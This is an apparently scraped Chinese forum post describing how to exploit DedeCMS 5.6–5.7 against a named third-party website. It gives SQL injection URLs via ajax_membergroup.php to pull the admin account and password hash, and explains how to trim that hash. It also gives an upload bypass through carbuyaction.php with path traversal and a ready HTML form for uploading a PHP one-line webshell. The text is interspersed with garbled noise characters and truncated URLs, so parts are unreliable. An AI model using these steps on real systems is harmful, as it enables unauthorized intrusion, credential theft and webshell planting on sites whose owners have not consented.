dedecms5.6-5.7注入与上传漏洞利用

admin

①注入漏洞。
这站 http://www.political-security.com/
首先访问“/data/admin/ver.txt”页面获取系统最后升级时间，
+ D1 C$ Q0 e/ [. ?4 d- Mwww.political-security.com/data/mysql_error_trace.inc 爆后台
" q5 H7 P- @7 t- y- e然后访问“/member/ajax_membergroup.php?action=post&membergroup=1”页面，如图说明存在该漏洞。
+ s+ j  v0 Y: z; a* i然后写上语句
查看管理员帐号
http://www.political-security.co ... &membergroup=@`
& w5 s. S1 S1 n. G: s
/ P! Q/ S6 f6 ^7 O9 eadmin
5 E: ~7 V9 p$ \
) Q" O3 X- P, b8 q查看管理员密码
  Z. X4 M0 f2 p6 D9 j0 `　http://www.political-security.co ... &membergroup=@`

. M. |, {. }) f! ]2 s, A8d29b1ef9f8c5a5af429
  w& K4 p) r- ]6 W7 P
查看管理员密码
" e$ R8 a5 D5 Z. b* p& F/ R/ w) }
: a2 c, r, u" s, Q  F得到的是19位的，去掉前三位和最后一位，得到管理员的16位MD5

! G1 J: }7 ^8 W( b! P, h8d2
9b1ef9f8c5a5af42
9
) k: }2 e2 G3 k' z
cmd5没解出来 只好测试第二个方法

3 q5 `% F9 X/ j' D( E6 o# Y1 F/ s
②上传漏洞：
, P) }& M, n7 `/ D5 n3 i
; Y! A$ j# _, E% V* @$ {# N只要登陆会员中心，然后访问页面链接
“/plus/carbuyaction.php?dopost=memclickout&oid=S-P0RN8888&rs[code]=../dialog/select_soft_post”

4 M. @2 @8 @/ o+ _如图，说明通过“/plus/carbuyaction.php”已经成功调用了上传页面“/dialog/select_soft_post”
1 {/ e5 K' R, ?2 t1 Z
于是将Php一句话木马扩展名改为“rar”等，利用提交页面upload1.htm

% [' }' H# T- d) P4 b( n<form action="http://www.political-security.com/plus/carbuyaction.php?dopost=memclickout&oid=S-P0RN8888&rs[code]=../dialog/select_soft_post" method="post" enctype="multipart/form-data" name="form1"> file:<input name="uploadfile" type="file" /><br> newname:<input name="newname" type="text" value="myfile.Php"/> <button class="button2" type="submit">提交</button><br><br>
或者
2 R3 h; C/ ]  a即可上传成功